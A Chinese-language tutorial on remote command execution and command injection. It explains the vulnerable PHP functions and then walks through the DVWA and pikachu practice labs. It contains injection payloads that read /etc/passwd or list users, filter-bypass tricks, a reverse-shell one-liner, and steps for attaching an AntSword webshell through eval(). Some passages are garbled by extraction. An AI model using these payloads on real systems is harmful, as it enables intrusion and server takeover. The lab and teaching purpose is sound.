一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

Cauchy Cauchy网安 2025-05-12 03:05

命令执行漏洞
(Remote Command Execution, RCE)是指攻击者通过注入恶意命令,让目标服务器执行任意系统命令,从而控制服务器或获取敏感信息。

一、RCE 攻击的原理

RCE 漏洞的本质是:

服务器后端程序将用户输入的不可信数据拼接或传递给系统函数(如 system()、exec()、popen() 等)并执行。

Web 应用有时需要调⽤⼀些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web 应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输⼊的数据,就很有可能形成系统命令执行漏洞,使系统执行非预期的命令。

二、常见触发函数(以 PHP 为例)

函数
说明
system()
执行命令并输出结果
exec()
执行命令并返回最后一行
shell_exec()
执行命令并返回所有输出
passthru()
执行命令并直接输出原始数据
popen()

 / proc_open()
打开进程的管道
backticks(`ls`)
执行命令并返回结果

其他语言也有类似函数,例如:
– Python :、os.system()subprocess.*

  • Java :Runtime.getRuntime().exec()

三、攻击方式分类

1. 直接命令注入

示例代码(PHP):

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

利用方式:

http://example.com/vuln.php?cmd=ls

2. 命令拼接

如果用户输入被拼接到命令中:

$ip = $_GET['ip'];
system("ping " . $ip);

攻击者输入:

127.0.0.1; cat /flag

执行命令:

ping 127.0.0.1; cat /flag

四、常用绕过技术(过滤/黑名单绕过)

  1. 空格绕过:

  2. 使用${IFS}$IFS\t\n

  3. 如:ping${IFS}127.0.0.1

  4. 字符编码绕过:

  5. URL 编码、Unicode 编码等

  6. 命令替代:

  7. $(command)、command

  8. 利用 shell 特性:如 、、、|&&||;

  9. 双重编码或截断:

  10. %2520 解码两次为 (空格)%20

  11. 环境变量与别名替代:

  12. 使用  之类的路径直接执行/bin/sh

  13. 使用环境变量绕过路径限制

五、利用目的

  • 查看敏感文件(如 、)/etc/passwd/flag

  • 反弹 Shell (bash -i >& /dev/tcp/IP/PORT 0>&1
    )

  • 安装木马、远控

  • 横向移动或提权

六、防御措施

  • 永远不要信任用户输入

  • 对参数进行白名单校验

  • 避免使用系统命令,使用语言自带功能替代

  • 最小权限原则:Web 服务用户权限最小化

  • 使用 WAF 检测异常请求

DVWA 靶场的 Command Injection(命令注入)模块。

low级别

1.先从Low级别开始,low级别的代码接收了用户输⼊的ip,服务器通过判断操作系统执行不同 ping 命令。但是这⾥对⽤户输⼊的 ip 并没有进行任何的过滤,所以存在可利⽤的命令执行漏洞。

漏洞点分析

代码关键部分:

$target = $_REQUEST[ 'ip' ]; 
...
$cmd = shell_exec( 'ping  -c 4 ' . $target );

  • 用户可控参数  被直接拼接到 shell 命令中,然后传给  函数。$targetshell_exec()

  • 没有任何过滤或验证。

  • 攻击者可构造输入,如:,让系统执行多个命令。127.0.0.1; cat /etc/passwd

利用方式示例

⽤&&来执行多条命令,构造 payload(有效载荷):

127.0.0.1&&net user

  • &&是 shell 运算符,表示前一个命令成功时才执行后一个命令。

  • 127.0.0.1 是合法的 IP,会使 ping 正常执行。

  • net user 是 Windows 命令,列出系统所有用户。 如果执行环境是 Windows,会泄露当前系统的用户名信息。 如果是Linux,net user 会报错,但可以用 && cat /etc/passwd
     等命令替代。


出现中文乱码的现象,我们先修改一下靶机的语言配置

方法一:
– 按住win+r,在运行框中输入cmd弹出命令行,在命令行中输入“control intl.cpl”

  • 我们将它改成英语并重新启动即可(重启后记得打开PHP和MySQL服务)

重新输入发现没有中文乱码

127.0.0.1 & ipconfig


方法二

把 DVWA\dvwa\includes ⽬录下的 dvwaPage.inc.php ⽂件中所有的“charset=utf-8”,全部替换修改为“charset=gb2312”即可

medium级别

看一下源代码,发现&&和;被过滤掉了

不用&&,直接用&就可以!&&和&的区别在于 &&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。

构造 poyload: 127.0.0.1 & ipconfig

high级别

查看一下源代码,发现相⽐于前⾯两个等级的,high 等级的⿊名单更完善了,但是由于只是过滤掉了 “| ” ,如果⽤ | 后不跟空格就可以绕过过滤

 127.0.0.1|net user

pikachu 靶场的 Command Injection(命令注入)模块。

exec ping关卡

pikachu 靶场同样提供了测试域名/IP 的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:

先看一下源代码,没有发现被过滤的命令

查看一下ip:
127.0.0.1 & ipconfig


我们可以执行其他命令了,在很多时候打靶场我们都会利用rce来反弹监听。在知道了系统命令可以连接执行后,如果 Web 应用程序没有过滤好输入,就变得相当危险。常用的命令连接符:

Windows 和 Linux 都支持的连接符:

A|B   只执行 B
A||B  如果 A 执行出错,则执行 B,如果A执行成功就不执行B
A&B   先执行 A,不管是否成功,都会执行 B
A&&B  先执行 A,执行成功后执行 B,否则不执行B
A;B   先执行 A,再执行B(只有Linux⽀持的连接符)

A|B


A||B

A&B

A&&B

exec “eval”代码执行漏洞关卡

代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

以pikachu为例

输⼊ phpinfo();(注意要带上分号)


发现直接执行了我们输入的代码。我们看一下源代码,查看代码发现是 eval()函数执行了我们的提交参数。

既然能执行eval(),那我们可以利用蚁剑构造一句话木马连接

$_POST['txt']

用蚁剑添加body表单字段,这里要注意的是编码器和解析器都选择base64,否则连接返回的数据为空


成功利用远程代码漏洞进入对方主机,如果需要提权,可以利用蚁剑连接的前提反弹监听,进一步进行渗透